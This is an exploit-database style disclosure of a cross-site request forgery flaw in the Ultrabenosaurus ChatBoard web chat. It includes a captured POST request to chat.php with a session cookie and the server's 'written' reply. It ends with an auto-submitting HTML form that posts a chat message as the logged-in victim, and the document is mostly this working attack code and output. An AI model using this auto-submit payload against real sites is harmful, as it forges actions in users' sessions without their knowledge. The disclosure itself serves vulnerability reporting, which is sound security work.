Ultrabenosaurus ChatBoard Cross Site Request Forgery

`<!--   
# Exploit Title: Ultrabenosaurus ChatBoard - CSRF(Send Message)  
# Date: 2016-06-14  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: http://ultrabenosaurus.ninja/  
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip  
# Tested on: Debian [wheezy]  
# CVE : none  
  
### Vulnerability Code  
-----------------------------------------------------------------------------------------  
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://CSRF_NO_REFERE_CHECK  
Content-Length: 8  
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5  
Connection: keep-alive  
  
msg=CSRF  
### Response  
-----------------------------------------------------------------------------------------  
HTTP/1.1 200 OK  
Date: Tue, 14 Jun 2016 01:52:02 GMT  
Server: Apache/2.4.10 (Ubuntu)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 7  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
written  
-----------------------------------------------------------------------------------------  
-->  
### Vulnerability Code  
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ChatBoard/__original/chat.php" method="POST">  
<input type="hidden" name="msg" value="CSRF">  
<input type="submit" value="CSRF Attack">  
</form>  
<script type="text/javascript">document.forms.csrf_poc.submit();</script>  
  
`